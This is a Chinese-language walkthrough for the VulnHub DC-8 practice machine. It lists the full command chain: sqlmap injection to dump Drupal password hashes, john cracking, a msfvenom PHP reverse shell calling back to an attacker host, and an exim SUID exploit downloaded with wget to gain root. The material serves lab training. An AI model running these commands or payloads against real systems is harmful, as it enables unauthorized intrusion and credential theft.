VulnHub靶机 DC-8 打靶 详细渗透过程
字数 1077 2025-08-19 12:42:09

DC-8 靶机渗透测试详细教学文档

1. 靶机环境准备

2. 信息收集阶段

2.1 主机发现

使用以下命令发现目标IP地址:

arp-scan -l
# 或
nmap -sn 192.168.0.0/24

假设发现目标IP为: 192.168.0.105

2.2 端口扫描

nmap -p- 192.168.0.105

扫描结果显示开放了:

  • 80端口(HTTP服务)
  • 22端口(SSH服务)

2.3 服务版本探测

nmap -p80 -sV -A 192.168.0.105

2.4 Web指纹识别

whatweb http://192.168.0.105

识别出网站使用Drupal CMS搭建

3. Web渗透阶段

3.1 SQL注入漏洞发现

访问网站后,发现URL中有nid参数:

http://192.168.0.105/?nid=1

尝试修改nid参数值,观察响应变化,可能存在SQL注入漏洞。

3.2 使用sqlmap进行自动化注入测试

  1. 获取当前数据库:
sqlmap -u "http://192.168.0.105/?nid=1" --random-agent --level 3 --risk 3 --current-db --is-dba --batch --dbs

结果:

  • 当前数据库: d7db
  • 不是DBA权限
  1. 枚举数据库中的表:
sqlmap -u "http://192.168.0.105/?nid=1" --random-agent --level 3 --risk 3 --current-db --is-dba -D d7db --tables
  1. 查看users表的列:
sqlmap -u "http://192.168.0.105/?nid=1" --random-agent --level 3 --risk 3 --current-db --is-dba -D d7db -T users --columns
  1. 提取用户名和密码:
sqlmap -u "http://192.168.0.105/?nid=1" --random-agent --level 3 --risk 3 --current-db --is-dba -D d7db -T users -C "name,pass" --dump

3.3 密码破解

将获取的hash保存到文件(如1.txt),使用john进行破解:

john 1.txt

结果:

  • 用户john的密码被破解为turtle

3.4 后台发现与登录

使用dirsearch进行目录扫描:

dirsearch -u http://192.168.0.105/ -i 200

发现后台登录页面后,使用获取的凭据登录:

  • 用户名: john
  • 密码: turtle

4. 获取Shell

4.1 生成PHP反弹shell

使用msfvenom生成PHP反弹shell代码:

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.106 LPORT=8888 -f raw

将生成的PHP代码插入到网站中可以执行PHP代码的地方(如某些表单或模块配置中)

4.2 设置监听

在攻击机上设置Metasploit监听:

msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 8888
exploit

成功获取www-data权限的shell

4.3 稳定shell

在获取的shell中执行:

python -c "import pty;pty.spawn('/bin/bash')"

5. 权限提升

5.1 查找SUID文件

find / -perm -u=s -type f 2>/dev/null

发现exim4可能存在问题

5.2 检查exim4版本

exim4 --version

5.3 搜索exim4漏洞

searchsploit exim 4

找到相关漏洞利用脚本: 46996.sh

5.4 下载并执行exp

  1. 在攻击机上:
cp /usr/share/exploitdb/exploits/linux/local/46996.sh /opt/exp.sh
python -m http.server 8080
  1. 在靶机上:
wget http://192.168.0.106:8080/exp.sh
chmod 755 exp.sh
./exp.sh -m netcat

成功获取root权限

6. 总结

完整渗透流程:

  1. 主机发现 → 2. 端口扫描 → 3. 服务探针 → 4. 指纹识别 →
  2. 发现SQL注入点 → 6. 获取凭据 → 7. 登录后台 →
  3. 上传PHP反弹shell → 9. 获取初始访问 → 10. 提权(root)

关键点:

  • 通过nid参数发现SQL注入漏洞
  • 使用sqlmap提取数据库中的用户凭据
  • 通过john破解hash获取后台访问权限
  • 利用exim4的SUID漏洞进行提权
DC-8 靶机渗透测试详细教学文档 1. 靶机环境准备 靶机下载地址: https://www.vulnhub.com/entry/dc-8,367/ 将下载的靶机镜像导入到虚拟机软件中(如VMware或VirtualBox) 2. 信息收集阶段 2.1 主机发现 使用以下命令发现目标IP地址: 假设发现目标IP为: 192.168.0.105 2.2 端口扫描 扫描结果显示开放了: 80端口(HTTP服务) 22端口(SSH服务) 2.3 服务版本探测 2.4 Web指纹识别 识别出网站使用Drupal CMS搭建 3. Web渗透阶段 3.1 SQL注入漏洞发现 访问网站后,发现URL中有 nid 参数: 尝试修改nid参数值,观察响应变化,可能存在SQL注入漏洞。 3.2 使用sqlmap进行自动化注入测试 获取当前数据库: 结果: 当前数据库: d7db 不是DBA权限 枚举数据库中的表: 查看users表的列: 提取用户名和密码: 3.3 密码破解 将获取的hash保存到文件(如 1.txt ),使用john进行破解: 结果: 用户 john 的密码被破解为 turtle 3.4 后台发现与登录 使用dirsearch进行目录扫描: 发现后台登录页面后,使用获取的凭据登录: 用户名: john 密码: turtle 4. 获取Shell 4.1 生成PHP反弹shell 使用msfvenom生成PHP反弹shell代码: 将生成的PHP代码插入到网站中可以执行PHP代码的地方(如某些表单或模块配置中) 4.2 设置监听 在攻击机上设置Metasploit监听: 成功获取www-data权限的shell 4.3 稳定shell 在获取的shell中执行: 5. 权限提升 5.1 查找SUID文件 发现 exim4 可能存在问题 5.2 检查exim4版本 5.3 搜索exim4漏洞 找到相关漏洞利用脚本: 46996.sh 5.4 下载并执行exp 在攻击机上: 在靶机上: 成功获取root权限 6. 总结 完整渗透流程: 主机发现 → 2. 端口扫描 → 3. 服务探针 → 4. 指纹识别 → 发现SQL注入点 → 6. 获取凭据 → 7. 登录后台 → 上传PHP反弹shell → 9. 获取初始访问 → 10. 提权(root) 关键点: 通过nid参数发现SQL注入漏洞 使用sqlmap提取数据库中的用户凭据 通过john破解hash获取后台访问权限 利用exim4的SUID漏洞进行提权